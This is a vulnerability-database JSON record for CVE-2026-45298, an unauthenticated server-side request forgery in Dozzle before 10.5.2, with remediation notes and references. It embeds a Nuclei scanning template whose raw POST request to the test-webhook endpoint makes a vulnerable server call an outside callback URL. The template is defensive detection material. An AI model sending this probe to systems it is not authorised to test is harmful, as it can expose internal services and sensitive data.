{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-45298/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-45298/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-45298/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-45298/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-45298/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-45298"},"sightings":{"href":"/api/v1/sightings/cve-2026-45298"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-45298.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-45298\n\ninfo:\n  name: Dozzle - Server Side Request Forgery\n  author: theamanrawat\n  severity: high\n  description: |\n    Dozzle prior to 10.5.2 contains a server-side request forgery caused by unauthenticated access to POST /api/notifications/test-webhook forwarding attacker-controlled URLs, letting remote attackers send arbitrary HTTP POST requests and receive response data, exploit requires no authentication.\n  impact: |\n    Remote attackers can send arbitrary HTTP POST requests and retrieve response data, potentially exposing internal services or sensitive information.\n  remediation: |\n    Update to version 10.5.2 or later.\n  reference:\n    - https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-45298\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-45298\n    epss-score: 0.01491\n    epss-percentile: 0.72974\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,ssrf,dozzle,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/notifications/test-webhook HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"url\":\"http://{{interactsh-url}}\",\"headers\":{}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - 'http'\n\n      - type: word\n        part: body\n        words:\n          - '\"statusCode\":200'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220173ba3d1229ee02d1dba6245e8413ac36ea588615bc9fc52941868fd46f72991022058fb5e4836d51395abe89b08628650518de6b94f913dedcee338feffe074f079:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-45298"}